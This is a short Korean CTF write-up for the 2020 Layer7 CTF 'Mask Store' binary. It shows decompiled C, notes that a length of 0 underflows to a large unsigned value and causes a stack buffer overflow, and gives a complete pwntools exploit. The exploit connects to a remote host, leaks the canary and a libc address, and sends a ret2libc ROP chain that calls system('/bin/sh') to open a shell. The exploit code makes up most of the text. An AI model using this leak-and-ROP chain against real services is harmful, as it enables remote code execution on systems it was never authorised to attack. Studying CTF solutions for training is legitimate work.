CTF Writeup

2020 Layer7 CTF - Mask Store Writeup

LittleDev0617 2020. 11. 19. 21:03
undefined8 main(void)
{
  int iVar1;
  uint uVar2;
  long in_FS_OFFSET;
  double extraout_XMM0_Qa;
  float local_68;
  undefined8 local_58;
  undefined8 local_50;
  undefined8 local_48;
  undefined8 local_40;
  undefined8 local_38;
  undefined8 local_30;
  undefined8 local_28;
  undefined8 local_20;
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  init();
  local_68 = 0.00000000;
  local_58 = 0;
  local_50 = 0;
  local_48 = 0;
  local_40 = 0;
  local_38 = 0;
  local_30 = 0;
  local_28 = 0;
  local_20 = 0;
LAB_001013ea:
  while( true ) {
    puts("\n##### Mask store ######");
    puts("# 1. Input mask number");
    puts("# 2. Input mask name");
    puts("# 3. View mask information");
    puts("# 4. Buy mask");
    printf("# Your choice? : ");
    iVar1 = atoi_read();
    if (iVar1 != 4) break;
    printf("# You want to buy mask? (yes : 1 / no : 2) : ");
    iVar1 = atoi_read();
    if (iVar1 == 1) {
      puts("# Okay! bye :)");
      if (local_10 == *(long *)(in_FS_OFFSET + 0x28)) {
        return 0;
      }
                    /* WARNING: Subroutine does not return */
      __stack_chk_fail();
    }
    puts("# Keep your shopping...");
  }
  if (iVar1 < 5) {
    if (iVar1 == 3) {
      printf((char *)(double)local_68,"# Mask number : %f\n");
      printf("# Mask name : %s\n",&local_58);
      goto LAB_001013ea;
    }
    if (iVar1 < 4) {
      if (iVar1 == 1) {
        printf("# Input your mask number (e.g : 3.141592) : ");
        FUN_001012a8();
        local_68 = (float)extraout_XMM0_Qa;
        puts("# Success!");
      }
      else {
        if (iVar1 != 2) goto LAB_00101592;
        printf("# Input your mask name length : ");
        uVar2 = atoi_read();
        if (uVar2 < 0x41) {
          printf("# Input your mask name (e.g : NO-COVID MASK) : ");
          FUN_00101209(&local_58,(ulong)uVar2,(ulong)uVar2);
        }
        else {
          puts("# Wrong size!");
        }
      }
      goto LAB_001013ea;
    }
  }
LAB_00101592:
  puts("# Wrong choice");
  goto LAB_001013ea;
}

uVar2는 unsigned 이므로 -1을 입력하면 0x41보다 크게 나오고 Wrong Size가 뜬다. 하지만 0을 입력하면 정상처리되고, 오른쪽 함수에서 (unsigned)(0-1) 처리되어 BOF가 가능하다.

또한 while로 계속 돌기때문에 편하게 Leak 하고 RTL로 끝낼 수 있다.


1. CANARY leak

2. libc main ret leak

3. RTL write

4. Buy Mask


from pwn import *

context.log_level = 'debug'
p = remote('211.239.124.243', 18606)

libc = ELF('./libc-2.31.so')

def Choice(i):
	p.sendlineafter('# Your choice? : ',str(i))

def Mask_Number(num):
	Choice(1)
	p.sendlineafter('# Input your mask number (e.g : 3.141592) : ',str(num))

def Mask_Name(length,name):
	Choice(2)
	p.sendlineafter('# Input your mask name length : ',str(length))
	p.sendlineafter('# Input your mask name (e.g : NO-COVID MASK) : ',name)

def Mask_View():
	Choice(3)

Mask_Number(1)
Mask_Name(0,'a'*0x47+'Z')
Mask_View()
p.recvuntil('Z\n')
canary = u64('\x00'+p.recv(7))

log.info('%x'%canary)

Mask_Name(0,'a'*0x48 + 'c'*8 + 'b'*7)
Mask_View()
p.recvuntil('b'*7+'\n')

leak = u64(p.recv(6)+'\x00\x00')
base = leak - 0x0270b3
oneshot = base + 0xe6e73
log.info('[leak] : %x [base] : %x'%(leak,base))

system = base + libc.symbols['system']
binsh = base + list(libc.search('/bin/sh'))[0] 
popr = base + 0x0000000000026b72
Mask_Name(0,'a'*0x48+p64(canary)+'b'*8+p64(popr)+p64(binsh)+p64(base+0x26ba0)+p64(system))
Choice(4)
p.sendlineafter(': ','1')
p.interactive()